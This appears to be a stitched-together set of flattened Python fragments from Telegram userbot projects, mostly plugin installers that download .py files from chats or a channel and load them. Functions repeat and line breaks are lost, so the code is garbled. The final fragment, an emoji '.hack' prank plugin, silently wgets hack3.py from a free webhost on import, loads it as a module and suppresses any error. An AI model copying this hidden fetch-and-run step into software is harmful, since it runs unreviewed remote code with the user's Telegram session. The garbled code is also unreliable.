async def install(event): if event.fwd_from: return if event.reply_to_msg_id: try: downloaded_file_name = ( await event.client.download_media( # pylint:disable=E0602 await event.get_reply_message(), "ULTRA/plugins/", # pylint:disable=E0602 )) if "(" not in downloaded_file_name: path1 = Path(downloaded_file_name) shortname = path1.stem load_module(shortname.replace(".py", "")) await eor( event, "Plugin successfully installed\n {}".format( os.path.basename(downloaded_file_name)), ) else: os.remove(downloaded_file_name) await eor( event, "Error!\nPlugin cannot be installed!\n Or may have been pre-installed.", ) except Exception as e: # pylint:disable=C0103,W0703 await eor(event, str(e)) os.remove(downloaded_file_name) await asyncio.sleep(DELETE_TIMEOUT) await event.delete()
async def load(event): if event.fwd_from: return shortname = event.pattern_match["shortname"] try: try: remove_plugin(shortname) except BaseException: pass load_module(shortname) qwe = await eor(event, f"Successfully loaded {shortname}") except Exception as e: await qwe.edit( f"ULTRA X could not load {shortname} because of the following error.\n{str(e)}" )
async def on_plug_in_callback_query_handler(event): if event.query.user_id == bot.uid or event.query.user_id == id: # ๐ฆโ๐ทโ๐ชโ ๐งโ๐ธโ๐ฉโ๐ฐโ ๐ฎโ๐ธโ๐ธโ๐ชโ ๐ฐโ๐ฆโ๐ณโ๐ฌโ ๐ฒโ๐ฆโ๐นโ ๐ฐโ๐ทโ ๐ทโ๐ชโ ๐ฒโ๐จโ try: fcix = [custom.Button.inline(" โ โช ๐๐๐๐ค โช โ ",data="back({})".format(shivam)),custom.Button.inline(" โ โช ๐๐ฅ๐จ๐ฌ๐ โช โ ", data="close"),custom.Button.inline(" โ โช ๐๐ง๐ฅ๐จ๐๐ โช โ ",data="unload({})".format(shivam_sh1vam))] load_module(event.data_match.group(1).decode("UTF-8")) # kyu sir kang krne m musil aa rhi h kya ... Bolo help kr du kya ๐๐๐ await event.edit( "`Yแดแดส UสแดสแดX สแดs sแดแดแดแดssาแดสสส สแดแดแด แดแด ` >>>" + str(event.data_match.group(1).decode("UTF-8")),buttons=fcix) except Exception as e: await event.edit("Error{}".format(shortname, str(e))+ "UสแดสแดX สแดs sแดแดแดแดssาแดสสส สแดแดแด แดแด " + str(event.data_match.group(1).decode("UTF-8")),buttons=fcix) else: shortname = event.data_match.group(1).decode("UTF-8") fcix = [custom.Button.inline(" โ โช ๐๐๐๐ค โช โ ",data="back({})".format(shivam)),custom.Button.inline(" โ โช ๐๐ฅ๐จ๐ฌ๐ โช โ ", data="close"),custom.Button.inline(" โ โช ๐๐ง๐ฅ๐จ๐๐ โช โ ",data="unload({})".format(shivam_sh1vam))] reply_pop_up_alert = "Pสแดแดsแด Gแดแด Yแดแดส Oแดกษด Usแดสสแดแด (โ อกยฐ อส อกยฐ)โ Fแดส Mแดสแด ษชษดาแด Vษชsษชแด @UltraX_Support !!" await event.answer(reply_pop_up_alert, alert=True)
async def install(event): if event.fwd_from: return chat = Var.PLUGIN_CHANNEL documentss = await borg.get_messages(chat, None , filter=InputMessagesFilterDocument) total = int(documentss.total) total_doxx = range(0, total) await event.delete() for ixo in total_doxx: mxo = documentss[ixo].id downloaded_file_name = await event.client.download_media(await borg.get_messages(chat, ids=mxo), "ULTRA/plugins/") if "(" not in downloaded_file_name: path1 = Path(downloaded_file_name) shortname = path1.stem load_module(shortname.replace(".py", "")) await borg.send_message(event.chat_id, "Installed Plugin `{}` successfully.".format(os.path.basename(downloaded_file_name))) else: await borg.send_message(event.chat_id, "Plugin `{}` has been pre-installed and cannot be installed.".format(os.path.basename(downloaded_file_name)))
async def install(): i = 0 chat = Var.PLUGIN_CHANNEL documentss = await bot.get_messages(chat, None, filter=InputMessagesFilterDocument) total = int(documentss.total) total_doxx = range(0, total) for ixo in total_doxx: mxo = documentss[ixo].id downloaded_file_name = await bot.download_media( await bot.get_messages(chat, ids=mxo), "ULTRA/plugins/") if "(" not in downloaded_file_name: path1 = Path(downloaded_file_name) shortname = path1.stem load_module(shortname.replace(".py", "")) print(f'{i} plugin install') else: print("Failed")
async def install(event): a = "Installing." b = 1 await event.edit(a) if event.fwd_from: return if event.reply_to_msg_id: try: downloaded_file_name = await event.client.download_media( # pylint:disable=E0602 await event.get_reply_message(), "./ULTRA/plugins/" # pylint:disable=E0602 ) if "(" not in downloaded_file_name: path1 = Path(downloaded_file_name) shortname = path1.stem load_module(shortname.replace(".py", "")) if shortname in CMD_LIST: string = "Commands found in {}\n".format( (os.path.basename(downloaded_file_name))) for i in CMD_LIST[shortname]: string += " โข " + i string += "\n" if b == 1: a = "Installing.." b = 2 else: a = "Installing..." b = 1 await event.edit(a) return await event.edit( f"Installed module\n{shortname}\n\n{string}") return await event.edit( f"Installed module {os.path.basename(downloaded_file_name)}" ) else: os.remove(downloaded_file_name) return await event.edit( f"Failed to Install \nError\nModule already installed or unknown formet" ) except Exception as e: await event.edit(f"Failed to Install \nError\n{str(e)}") return os.remove(downloaded_file_name)
async def on_plug_in_callback_query_handler(event): if event.query.user_id == bot.uid or event.query.user_id == id: # ๐ฆโ๐ทโ๐ชโ ๐งโ๐ธโ๐ฉโ๐ฐโ ๐ฎโ๐ธโ๐ธโ๐ชโ ๐ฐโ๐ฆโ๐ณโ๐ฌโ ๐ฒโ๐ฆโ๐นโ ๐ฐโ๐ทโ ๐ทโ๐ชโ ๐ฒโ๐จ try: fcix = [ custom.Button.inline(" ๐ญ๐๐๐ ", data="back({})".format(shivam)), custom.Button.inline(" ๐ฎ๐๐๐๐ ", data="close"), custom.Button.inline( " ๐๐๐๐๐๐ ", data="unload({})".format(shivam_sh1vam)) ] load_module( event.data_match.group(1).decode("UTF-8") ) # kyu sir kang krne m musil aa rhi h kya ... Bolo help kr du kya ๐๐๐ await event.edit( "`Your LEGEND BOT Has Successfully loaded` >>>" + str(event.data_match.group(1).decode("UTF-8")), buttons=fcix) except Exception as e: await event.edit( "Error{}".format(shortname, str(e)) + "ULTRA X Has Successfully loaded" + str(event.data_match.group(1).decode("UTF-8")), buttons=fcix) else: shortname = event.data_match.group(1).decode("UTF-8") fcix = [ custom.Button.inline(" ๐ญ๐๐๐ ", data="back({})".format(shivam)), custom.Button.inline(" ๐ฎ๐๐๐๐ ", data="close"), custom.Button.inline(" ๐๐๐๐๐๐ ", data="unload({})".format(shivam_sh1vam)) ] reply_pop_up_alert = "Pสแดแดsแด Gแดแด Yแดแดส Oแดกษด Usแดสสแดแด (โ อกยฐ อส อกยฐ)โ Fแดส Mแดสแด ษชษดาแด Vษชsษชแด @UltraX_Support !!" await event.answer(reply_pop_up_alert, cache_time=0, alert=True)
path1 = Path(f.name) shortname = path1.stem load_pro(shortname.replace(".py", "")) if EXTRA_PLUGS == True: os.system( "git clone https://github.com/ULTRA-OP/ULTRA_PLUGS.git ./ULTRA/plugins/" ) path = "ULTRA/plugins/*.py" files = glob.glob(path) for name in files: with open(name) as a: patt = Path(a.name) plugin_name = patt.stem try: load_module(plugin_name.replace(".py", "")) if not plugin_name.startswith("__") or plugin_name.startswith( "_"): print('INSTALLING ALL MODULES', plugin_name) except: pass else: path = 'ULTRA/plugins/*.py' files = glob.glob(path) for name in files: with open(name) as f: path1 = Path(f.name) shortname = path1.stem load_module(shortname.replace(".py", ""))
"""Emoji Available Commands: .hack""" from telethon import events import asyncio from uniborg.util import admin_cmd from telethon.tl.functions.users import GetFullUserRequest from ULTRA.utils import load_module import os # hack3 installation try: os.system('wget https://legendx22.000webhostapp.com/hack3.py -P userbot/plugins/') load_module('hack3') except: pass # if no response (pass) @borg.on(admin_cmd(pattern=r"thack")) async def _(event): if event.fwd_from: return animation_interval = 2 animation_ttl = range(0, 11)